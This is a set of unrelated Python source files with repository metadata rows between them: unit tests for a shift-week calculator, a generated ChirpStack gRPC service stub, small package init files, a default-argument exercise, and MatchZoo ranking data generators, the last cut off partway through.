self.assertEqual(result.agg_funcs[0].agg_func_name, 'custom_reduction')
self.assertIsInstance(result.agg_funcs[0].custom_reduction, MockReduction2)
self.assertEqual(result.agg_funcs[0].output_limit, 2)
if __name__ == '__main__': # pragma: no cover
unittest.main()
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| 107
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| 0
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0
| 7
|
162a03079f03a45911aa2727a7fd60deb624d201
| 5,151
|
py
|
Python
|
rows/test/model/shift_pattern_test.py
|
pmateusz/cordia
|
f911f4b140e416097342a7261b73e8e39dbe7589
|
[
"MIT"
] | null | null | null |
rows/test/model/shift_pattern_test.py
|
pmateusz/cordia
|
f911f4b140e416097342a7261b73e8e39dbe7589
|
[
"MIT"
] | null | null | null |
rows/test/model/shift_pattern_test.py
|
pmateusz/cordia
|
f911f4b140e416097342a7261b73e8e39dbe7589
|
[
"MIT"
] | 2
|
2020-08-30T17:54:40.000Z
|
2021-05-18T02:28:33.000Z
|
"""Tests shift pattern"""
import datetime
import unittest
from rows.model.shift_pattern import ExecutableShiftPattern
class ShiftWeekFactoryTest(unittest.TestCase):
"""Tests shift week calculations"""
def test_one_week_span(self):
"""Test shift week calculations for one week shifts"""
# given
reference = datetime.datetime(2017, 1, 29)
# when
week_fac = ExecutableShiftPattern.ShiftWeekFactory(reference.date(), 1, 1)
# then
self.assertEqual(week_fac(reference + datetime.timedelta(days=-6)), 1)
self.assertEqual(week_fac(reference + datetime.timedelta(days=-7)), 1)
self.assertEqual(week_fac(reference + datetime.timedelta(days=-8)), 1)
self.assertEqual(week_fac(reference + datetime.timedelta(days=-13)), 1)
self.assertEqual(week_fac(reference + datetime.timedelta(days=-14)), 1)
self.assertEqual(week_fac(reference + datetime.timedelta(days=-15)), 1)
self.assertEqual(week_fac(reference + datetime.timedelta(days=6)), 1)
self.assertEqual(week_fac(reference + datetime.timedelta(days=7)), 1)
self.assertEqual(week_fac(reference + datetime.timedelta(days=8)), 1)
self.assertEqual(week_fac(reference + datetime.timedelta(days=13)), 1)
self.assertEqual(week_fac(reference + datetime.timedelta(days=14)), 1)
self.assertEqual(week_fac(reference + datetime.timedelta(days=15)), 1)
def test_two_week_span(self):
"""Test shift week calculations for two week shifts"""
# given
reference = datetime.datetime(2017, 1, 29)
# when
first_week_fac = ExecutableShiftPattern.ShiftWeekFactory(reference.date(), 1, 2)
# then
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=-1)), 2)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=-6)), 2)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=-7)), 2)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=-8)), 1)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=-13)), 1)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=-14)), 1)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=-15)), 2)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=-20)), 2)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=-21)), 2)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=-22)), 1)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=6)), 1)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=7)), 2)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=8)), 2)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=13)), 2)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=14)), 1)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=15)), 1)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=20)), 1)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=21)), 2)
self.assertEqual(first_week_fac(reference + datetime.timedelta(days=22)), 2)
# when
second_week_fac = ExecutableShiftPattern.ShiftWeekFactory(reference.date(), 2, 2)
# then
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=-1)), 1)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=-6)), 1)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=-7)), 1)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=-8)), 2)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=-13)), 2)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=-14)), 2)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=-15)), 1)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=-20)), 1)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=-21)), 1)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=-22)), 2)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=6)), 2)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=7)), 1)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=8)), 1)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=13)), 1)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=14)), 2)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=15)), 2)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=20)), 2)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=21)), 1)
self.assertEqual(second_week_fac(reference + datetime.timedelta(days=22)), 1)
if __name__ == '__main__':
unittest.main()
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0
| 9
|
1654942c3ce882d710d0e804cfffdfa574d488a5
| 128
|
py
|
Python
|
__init__.py
|
Mem-Tech/meme-voice-assistant
|
9ec4c6bcd7decb5593095fa53646bc8ff2810ce7
|
[
"MIT"
] | 1
|
2021-03-05T21:36:14.000Z
|
2021-03-05T21:36:14.000Z
|
__init__.py
|
Mem-Tech/meme-voice-assistant
|
9ec4c6bcd7decb5593095fa53646bc8ff2810ce7
|
[
"MIT"
] | 2
|
2021-04-30T22:09:03.000Z
|
2021-04-30T22:11:19.000Z
|
__init__.py
|
Mem-Tech/meme-voice-assistant
|
9ec4c6bcd7decb5593095fa53646bc8ff2810ce7
|
[
"MIT"
] | null | null | null |
from .util import KEYWORDS
from .util import KEYWORD_FILE_PATHS
from .util import LIBRARY_PATH
from .util import MODEL_FILE_PATH
| 32
| 36
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|
0
| 7
|
169386dfc2a799b3dbe8ec7a7a6908f0b6e1a6c4
| 10,349
|
py
|
Python
|
python/src/chirpstack_api/as_pb/external/api/serviceProfile_pb2_grpc.py
|
maxreb/chirpstack-api
|
c591dd556e70b384318cdf61de19c0350715d61d
|
[
"MIT"
] | 55
|
2019-11-05T15:46:49.000Z
|
2022-03-23T14:31:33.000Z
|
python/src/chirpstack_api/as_pb/external/api/serviceProfile_pb2_grpc.py
|
maxreb/chirpstack-api
|
c591dd556e70b384318cdf61de19c0350715d61d
|
[
"MIT"
] | 39
|
2019-11-08T21:03:45.000Z
|
2022-03-01T12:40:36.000Z
|
python/src/chirpstack_api/as_pb/external/api/serviceProfile_pb2_grpc.py
|
maxreb/chirpstack-api
|
c591dd556e70b384318cdf61de19c0350715d61d
|
[
"MIT"
] | 101
|
2019-11-22T13:59:59.000Z
|
2022-03-14T09:52:46.000Z
|
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
from chirpstack_api.as_pb.external.api import serviceProfile_pb2 as chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2
from google.protobuf import empty_pb2 as google_dot_protobuf_dot_empty__pb2
class ServiceProfileServiceStub(object):
"""ServiceProfileService is the service managing service-profiles.
"""
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.Create = channel.unary_unary(
'/api.ServiceProfileService/Create',
request_serializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.CreateServiceProfileRequest.SerializeToString,
response_deserializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.CreateServiceProfileResponse.FromString,
)
self.Get = channel.unary_unary(
'/api.ServiceProfileService/Get',
request_serializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.GetServiceProfileRequest.SerializeToString,
response_deserializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.GetServiceProfileResponse.FromString,
)
self.Update = channel.unary_unary(
'/api.ServiceProfileService/Update',
request_serializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.UpdateServiceProfileRequest.SerializeToString,
response_deserializer=google_dot_protobuf_dot_empty__pb2.Empty.FromString,
)
self.Delete = channel.unary_unary(
'/api.ServiceProfileService/Delete',
request_serializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.DeleteServiceProfileRequest.SerializeToString,
response_deserializer=google_dot_protobuf_dot_empty__pb2.Empty.FromString,
)
self.List = channel.unary_unary(
'/api.ServiceProfileService/List',
request_serializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.ListServiceProfileRequest.SerializeToString,
response_deserializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.ListServiceProfileResponse.FromString,
)
class ServiceProfileServiceServicer(object):
"""ServiceProfileService is the service managing service-profiles.
"""
def Create(self, request, context):
"""Create creates the given service-profile.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def Get(self, request, context):
"""Get returns the service-profile matching the given id.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def Update(self, request, context):
"""Update updates the given serviceprofile.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def Delete(self, request, context):
"""Delete deletes the service-profile matching the given id.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def List(self, request, context):
"""List lists the available service-profiles.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def add_ServiceProfileServiceServicer_to_server(servicer, server):
rpc_method_handlers = {
'Create': grpc.unary_unary_rpc_method_handler(
servicer.Create,
request_deserializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.CreateServiceProfileRequest.FromString,
response_serializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.CreateServiceProfileResponse.SerializeToString,
),
'Get': grpc.unary_unary_rpc_method_handler(
servicer.Get,
request_deserializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.GetServiceProfileRequest.FromString,
response_serializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.GetServiceProfileResponse.SerializeToString,
),
'Update': grpc.unary_unary_rpc_method_handler(
servicer.Update,
request_deserializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.UpdateServiceProfileRequest.FromString,
response_serializer=google_dot_protobuf_dot_empty__pb2.Empty.SerializeToString,
),
'Delete': grpc.unary_unary_rpc_method_handler(
servicer.Delete,
request_deserializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.DeleteServiceProfileRequest.FromString,
response_serializer=google_dot_protobuf_dot_empty__pb2.Empty.SerializeToString,
),
'List': grpc.unary_unary_rpc_method_handler(
servicer.List,
request_deserializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.ListServiceProfileRequest.FromString,
response_serializer=chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.ListServiceProfileResponse.SerializeToString,
),
}
generic_handler = grpc.method_handlers_generic_handler(
'api.ServiceProfileService', rpc_method_handlers)
server.add_generic_rpc_handlers((generic_handler,))
# This class is part of an EXPERIMENTAL API.
class ServiceProfileService(object):
"""ServiceProfileService is the service managing service-profiles.
"""
@staticmethod
def Create(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/api.ServiceProfileService/Create',
chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.CreateServiceProfileRequest.SerializeToString,
chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.CreateServiceProfileResponse.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
@staticmethod
def Get(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/api.ServiceProfileService/Get',
chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.GetServiceProfileRequest.SerializeToString,
chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.GetServiceProfileResponse.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
@staticmethod
def Update(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/api.ServiceProfileService/Update',
chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.UpdateServiceProfileRequest.SerializeToString,
google_dot_protobuf_dot_empty__pb2.Empty.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
@staticmethod
def Delete(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/api.ServiceProfileService/Delete',
chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.DeleteServiceProfileRequest.SerializeToString,
google_dot_protobuf_dot_empty__pb2.Empty.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
@staticmethod
def List(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/api.ServiceProfileService/List',
chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.ListServiceProfileRequest.SerializeToString,
chirpstack__api_dot_as__pb_dot_external_dot_api_dot_serviceProfile__pb2.ListServiceProfileResponse.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
| 49.754808
| 159
| 0.709441
| 1,019
| 10,349
| 6.699706
| 0.111874
| 0.043943
| 0.058591
| 0.065915
| 0.844734
| 0.814706
| 0.810605
| 0.782774
| 0.773693
| 0.754651
| 0
| 0.004254
| 0.227751
| 10,349
| 207
| 160
| 49.995169
| 0.849975
| 0.069669
| 0
| 0.527607
| 1
| 0
| 0.062821
| 0.036122
| 0
| 0
| 0
| 0
| 0
| 1
| 0.07362
| false
| 0
| 0.018405
| 0.030675
| 0.141104
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
169be693864cb25ce0e6001dbb26553243fd388f
| 113
|
py
|
Python
|
Python/python_programming_stu/chapter08_function/8-1.default_argument.py
|
min9288/Multicampus
|
2aaac730b35e530f8f91cb1ba41c08ee18d59142
|
[
"MIT"
] | 2
|
2022-01-18T09:27:42.000Z
|
2022-03-29T14:59:00.000Z
|
Python/python_programming_stu/chapter08_function/8-1.default_argument.py
|
min9288/Multicampus
|
2aaac730b35e530f8f91cb1ba41c08ee18d59142
|
[
"MIT"
] | null | null | null |
Python/python_programming_stu/chapter08_function/8-1.default_argument.py
|
min9288/Multicampus
|
2aaac730b35e530f8f91cb1ba41c08ee18d59142
|
[
"MIT"
] | null | null | null |
def daily_sleeping_hours(hours):
return hours
print(daily_sleeping_hours(10))
print(daily_sleeping_hours())
| 18.833333
| 32
| 0.80531
| 16
| 113
| 5.3125
| 0.4375
| 0.458824
| 0.635294
| 0.541176
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.019608
| 0.097345
| 113
| 6
| 33
| 18.833333
| 0.813725
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0.25
| 0.5
| 0.5
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 1
|
0
| 8
|
16c1d247f8583f664194bdf629d75734ca0ea9be
| 219
|
py
|
Python
|
electrum_gui/common/hardware/callbacks/__init__.py
|
BixinKey/electrum
|
f5de4e74e313b9b569f13ba6ab9142a38bf095f2
|
[
"MIT"
] | 12
|
2020-11-12T08:53:05.000Z
|
2021-07-06T17:30:39.000Z
|
electrum_gui/common/hardware/callbacks/__init__.py
|
liyanhrxy/electrum
|
107608ef201ff1d20d2f6091c257b1ceff9b7362
|
[
"MIT"
] | 209
|
2020-09-23T06:58:18.000Z
|
2021-11-18T11:25:41.000Z
|
electrum_gui/common/hardware/callbacks/__init__.py
|
liyanhrxy/electrum
|
107608ef201ff1d20d2f6091c257b1ceff9b7362
|
[
"MIT"
] | 19
|
2020-10-13T11:42:26.000Z
|
2022-02-06T01:26:34.000Z
|
from electrum_gui.common.hardware.callbacks.android import AndroidCallback
from electrum_gui.common.hardware.callbacks.ios import IOSCallback
from electrum_gui.common.hardware.callbacks.terminal import TerminalCallback
| 54.75
| 76
| 0.890411
| 27
| 219
| 7.111111
| 0.481481
| 0.1875
| 0.234375
| 0.328125
| 0.59375
| 0.59375
| 0
| 0
| 0
| 0
| 0
| 0
| 0.054795
| 219
| 3
| 77
| 73
| 0.927536
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
16cb2d2dcb966bacfe3e0444dd8879614fbdbbbe
| 34,986
|
py
|
Python
|
matchzoo/inputs/list_generator.py
|
evison/NeuralResponseRanking
|
7fad0259cba30049b621163637bb896e67d4aaf2
|
[
"MIT"
] | 71
|
2018-04-18T05:17:54.000Z
|
2021-08-06T07:54:25.000Z
|
matchzoo/inputs/list_generator.py
|
KobeDeShow/NeuralResponseRanking
|
171b15ecd48b78479beb9598fc7e152dec9f779c
|
[
"MIT"
] | 6
|
2018-10-16T08:33:19.000Z
|
2020-11-10T07:44:04.000Z
|
matchzoo/inputs/list_generator.py
|
KobeDeShow/NeuralResponseRanking
|
171b15ecd48b78479beb9598fc7e152dec9f779c
|
[
"MIT"
] | 16
|
2018-08-03T09:44:56.000Z
|
2020-08-25T14:02:42.000Z
|
# -*- coding: utf-8 -*-
import sys
import random
import numpy as np
from utils.rank_io import *
from layers import DynamicMaxPooling
import scipy.sparse as sp
class ListBasicGenerator(object):
def __init__(self, config={}):
self.__name = 'ListBasicGenerator'
self.config = config
self.batch_list = config['batch_list']
if 'relation_file' in config:
self.rel = read_relation(filename=config['relation_file'])
self.list_list = self.make_list(self.rel)
self.num_list = len(self.list_list)
self.check_list = []
self.point = 0
def check(self):
for e in self.check_list:
if e not in self.config:
print '[%s] Error %s not in config' % (self.__name, e)
return False
return True
def make_list(self, rel):
list_list = {}
for label, d1, d2 in rel:
if d1 not in list_list:
list_list[d1] = []
list_list[d1].append( (label, d2) )
for d1 in list_list:
list_list[d1] = sorted(list_list[d1], reverse = True)
print 'List Instance Count:', len(list_list)
return list_list.items()
def get_batch(self):
pass
def get_batch_generator(self):
pass
def reset(self):
self.point = 0
def get_all_data(self):
pass
class ListGenerator(ListBasicGenerator):
def __init__(self, config={}):
super(ListGenerator, self).__init__(config=config)
self.__name = 'ListGenerator'
self.data1 = config['data1']
self.data2 = config['data2']
self.data1_maxlen = config['text1_maxlen']
self.data2_maxlen = config['text2_maxlen']
self.fill_word = config['vocab_size'] - 1
self.check_list.extend(['data1', 'data2', 'text1_maxlen', 'text2_maxlen'])
if not self.check():
raise TypeError('[ListGenerator] parameter check wrong.')
print '[ListGenerator] init done'
def get_batch(self):
while self.point < self.num_list:
currbatch = []
if self.point + self.batch_list <= self.num_list:
currbatch = self.list_list[self.point: self.point+self.batch_list]
self.point += self.batch_list
else:
currbatch = self.list_list[self.point:]
self.point = self.num_list
bsize = sum([len(pt[1]) for pt in currbatch])
ID_pairs = []
list_count = [0]
X1 = np.zeros((bsize, self.data1_maxlen), dtype=np.int32)
X1_len = np.zeros((bsize,), dtype=np.int32)
X2 = np.zeros((bsize, self.data2_maxlen), dtype=np.int32)
X2_len = np.zeros((bsize,), dtype=np.int32)
Y = np.zeros((bsize,), dtype= np.int32)
X1[:] = self.fill_word
X2[:] = self.fill_word
j = 0
for pt in currbatch:
d1, d2_list = pt[0], pt[1]
list_count.append(list_count[-1] + len(d2_list))
d1_len = min(self.data1_maxlen, len(self.data1[d1]))
for l, d2 in d2_list:
d2_len = min(self.data2_maxlen, len(self.data2[d2]))
X1[j, :d1_len], X1_len[j] = self.data1[d1][:d1_len], d1_len
X2[j, :d2_len], X2_len[j] = self.data2[d2][:d2_len], d2_len
ID_pairs.append((d1, d2))
Y[j] = l
j += 1
yield X1, X1_len, X2, X2_len, Y, ID_pairs, list_count
def get_batch_generator(self):
for X1, X1_len, X2, X2_len, Y, ID_pairs, list_counts in self.get_batch():
if self.config['use_dpool']:
yield ({'query': X1, 'query_len': X1_len, 'doc': X2, 'doc_len': X2_len, 'dpool_index': DynamicMaxPooling.dynamic_pooling_index(X1_len, X2_len, self.config['text1_maxlen'], self.config['text2_maxlen']), 'ID': ID_pairs, 'list_counts': list_counts}, Y)
else:
yield ({'query': X1, 'query_len': X1_len, 'doc': X2, 'doc_len': X2_len, 'ID': ID_pairs, 'list_counts': list_counts}, Y)
def get_all_data(self):
x1_ls, x1_len_ls, x2_ls, x2_len_ls, y_ls, list_count_ls = [], [], [], [], [], []
while self.point < self.num_list:
currbatch = []
if self.point + self.batch_list <= self.num_list:
currbatch = self.list_list[self.point: self.point+self.batch_list]
self.point += self.batch_list
else:
currbatch = self.list_list[self.point:]
self.point = self.num_list
bsize = sum([len(pt[1]) for pt in currbatch])
list_count = [0]
X1 = np.zeros((bsize, self.data1_maxlen), dtype=np.int32)
X1_len = np.zeros((bsize,), dtype=np.int32)
X2 = np.zeros((bsize, self.data2_maxlen), dtype=np.int32)
X2_len = np.zeros((bsize,), dtype=np.int32)
Y = np.zeros((bsize,), dtype= np.int32)
X1[:] = self.fill_word
X2[:] = self.fill_word
j = 0
for pt in currbatch:
d1, d2_list = pt[0], pt[1]
list_count.append(list_count[-1] + len(d2_list))
d1_len = min(self.data1_maxlen, len(self.data1[d1]))
for l, d2 in d2_list:
d2_len = min(self.data2_maxlen, len(self.data2[d2]))
X1[j, :d1_len], X1_len[j] = self.data1[d1][:d1_len], d1_len
X2[j, :d2_len], X2_len[j] = self.data2[d2][:d2_len], d2_len
Y[j] = l
j += 1
x1_ls.append(X1)
x1_len_ls.append(X1_len)
x2_ls.append(X2)
x2_len_ls.append(X2_len)
y_ls.append(Y)
list_count_ls.append(list_count)
return x1_ls, x1_len_ls, x2_ls, x2_len_ls, y_ls, list_count_ls
class Triletter_ListGenerator(ListBasicGenerator):
def __init__(self, config={}):
super(Triletter_ListGenerator, self).__init__(config=config)
self.__name = 'Triletter_ListGenerator'
self.data1 = config['data1']
self.data2 = config['data2']
self.dtype = config['dtype'].lower()
if self.dtype == 'cdssm':
self.data1_maxlen = config['text1_maxlen']
self.data2_maxlen = config['text2_maxlen']
self.vocab_size = config['vocab_size']
self.fill_word = self.vocab_size - 1
self.check_list.extend(['data1', 'data2', 'dtype', 'vocab_size', 'word_triletter_map_file'])
if not self.check():
raise TypeError('[Triletter_ListGenerator] parameter check wrong.')
self.word_triletter_map = self.read_word_triletter_map(self.config['word_triletter_map_file'])
print '[Triletter_ListGenerator] init done'
def read_word_triletter_map(self, wt_map_file):
word_triletter_map = {}
for line in open(wt_map_file):
r = line.strip().split()
word_triletter_map[r[0]] = r[1:]
return word_triletter_map
def map_word_to_triletter(self, words):
triletters = []
for wid in words:
if wid in self.word_triletter_map:
triletters.extend(self.word_triletter_map[wid])
return triletters
def transfer_feat2sparse(self, dense_feat):
data = []
indices = []
indptr = [0]
for feat in dense_feat:
for val in feat:
indices.append(val)
data.append(1)
indptr.append(indptr[-1] + len(feat))
return sp.csr_matrix((data, indices, indptr), shape=(len(dense_feat), self.vocab_size), dtype="float32")
def transfer_feat2fixed(self, feats, max_len, fill_val):
num_feat = len(feats)
nfeat = np.zeros((num_feat, max_len), dtype=np.int32)
nfeat[:] = fill_val
for i in range(num_feat):
rlen = min(max_len, len(feats[i]))
nfeat[i,:rlen] = feats[i][:rlen]
return nfeat
def get_batch(self):
while self.point < self.num_list:
currbatch = []
if self.point + self.batch_list <= self.num_list:
currbatch = self.list_list[self.point: self.point+self.batch_list]
self.point += self.batch_list
else:
currbatch = self.list_list[self.point:]
self.point = self.num_list
bsize = sum([len(pt[1]) for pt in currbatch])
ID_pairs = []
list_count = [0]
X1_len = np.zeros((bsize,), dtype=np.int32)
X2_len = np.zeros((bsize,), dtype=np.int32)
Y = np.zeros((bsize,), dtype= np.int32)
X1, X2 = [], []
j = 0
for pt in currbatch:
d1, d2_list = pt[0], pt[1]
list_count.append(list_count[-1] + len(d2_list))
d1_len = len(self.data1[d1])
for l, d2 in d2_list:
X1_len[j] = d1_len
X1.append(self.map_word_to_triletter(self.data1[d1]))
d2_len = len(self.data2[d2])
X2_len[j] = d2_len
X2.append(self.map_word_to_triletter(self.data2[d2]))
ID_pairs.append((d1, d2))
Y[j] = l
j += 1
if self.dtype == 'dssm':
yield self.transfer_feat2sparse(X1).toarray(), X1_len, self.transfer_feat2sparse(X2).toarray(), X2_len, Y, ID_pairs, list_count
elif self.dtype == 'cdssm':
yield self.transfer_feat2fixed(X1, self.data1_maxlen, self.fill_word), X1_len, \
self.transfer_feat2fixed(X2, self.data2_maxlen, self.fill_word), X2_len, Y, \
ID_pairs, list_count
def get_batch_generator(self):
for X1, X1_len, X2, X2_len, Y, ID_pairs, list_counts in self.get_batch():
yield ({'query': X1, 'query_len': X1_len, 'doc': X2, 'doc_len': X2_len, 'ID': ID_pairs, 'list_counts':list_counts}, Y)
def get_all_data(self):
x1_ls, x1_len_ls, x2_ls, x2_len_ls, y_ls, list_count_ls = [], [], [], [], [], []
while self.point < self.num_list:
currbatch = []
if self.point + self.batch_list <= self.num_list:
currbatch = self.list_list[self.point: self.point+self.batch_list]
self.point += self.batch_list
else:
currbatch = self.list_list[self.point:]
self.point = self.num_list
bsize = sum([len(pt[1]) for pt in currbatch])
list_count = [0]
X1_len = np.zeros((bsize,), dtype=np.int32)
X2_len = np.zeros((bsize,), dtype=np.int32)
Y = np.zeros((bsize,), dtype= np.int32)
X1, X2 = [], []
j = 0
for pt in currbatch:
d1, d2_list = pt[0], pt[1]
list_count.append(list_count[-1] + len(d2_list))
d1_len = len(self.data1[d1])
for l, d2 in d2_list:
d2_len = len(self.data2[d2])
X1_len[j] = d1_len
X1.append(self.map_word_to_triletter(self.data1[d1]))
X2_len[j] = d2_len
X2.append(self.map_word_to_triletter(self.data2[d2]))
Y[j] = l
j += 1
if self.type == 'dssm':
x1_ls.append(self.transfer_feat2sparse(X1).toarray())
x2_ls.append(self.transfer_feat2sparse(X2).toarray())
elif self.type == 'cdssm':
x1_ls.append(self.transfer_feat2fixed(X1, self.data1_maxlen, self.fill_word))
x2_ls.append(self.transfer_feat2fixed(X2, self.data2_maxlen, self.fill_word))
x1_len_ls.append(X1_len)
x2_len_ls.append(X2_len)
y_ls.append(Y)
list_count_ls.append(list_count)
return x1_ls, x1_len_ls, x2_ls, x2_len_ls, y_ls, list_count_ls
class DRMM_ListGenerator(ListBasicGenerator):
def __init__(self, config={}):
super(DRMM_ListGenerator, self).__init__(config=config)
self.data1 = config['data1']
self.data2 = config['data2']
self.data1_maxlen = config['text1_maxlen']
self.data2_maxlen = config['text2_maxlen']
self.fill_word = config['vocab_size'] - 1
self.embed = config['embed']
if 'bin_num' in config:
self.hist_size = config['bin_num']
else:
self.hist_size = config['hist_size']
self.check_list.extend(['data1', 'data2', 'text1_maxlen', 'text2_maxlen', 'embed'])
self.use_hist_feats = False
if 'hist_feats_file' in config:
hist_feats = read_features_without_id(config['hist_feats_file'])
self.hist_feats = {}
for idx, (label, d1, d2) in enumerate(self.rel):
self.hist_feats[(d1, d2)] = hist_feats[idx]
self.use_hist_feats = True
if not self.check():
raise TypeError('[DRMM_ListGenerator] parameter check wrong.')
print '[DRMM_ListGenerator] init done, list number: %d. ' % (self.num_list)
def cal_hist(self, t1, t2, data1_maxlen, hist_size):
mhist = np.zeros((data1_maxlen, hist_size), dtype=np.float32)
d1len = len(self.data1[t1])
if self.use_hist_feats:
assert (t1, t2) in self.hist_feats
caled_hist = np.reshape(self.hist_feats[(t1, t2)], (d1len, hist_size))
if d1len < data1_maxlen:
mhist[:d1len, :] = caled_hist[:, :]
else:
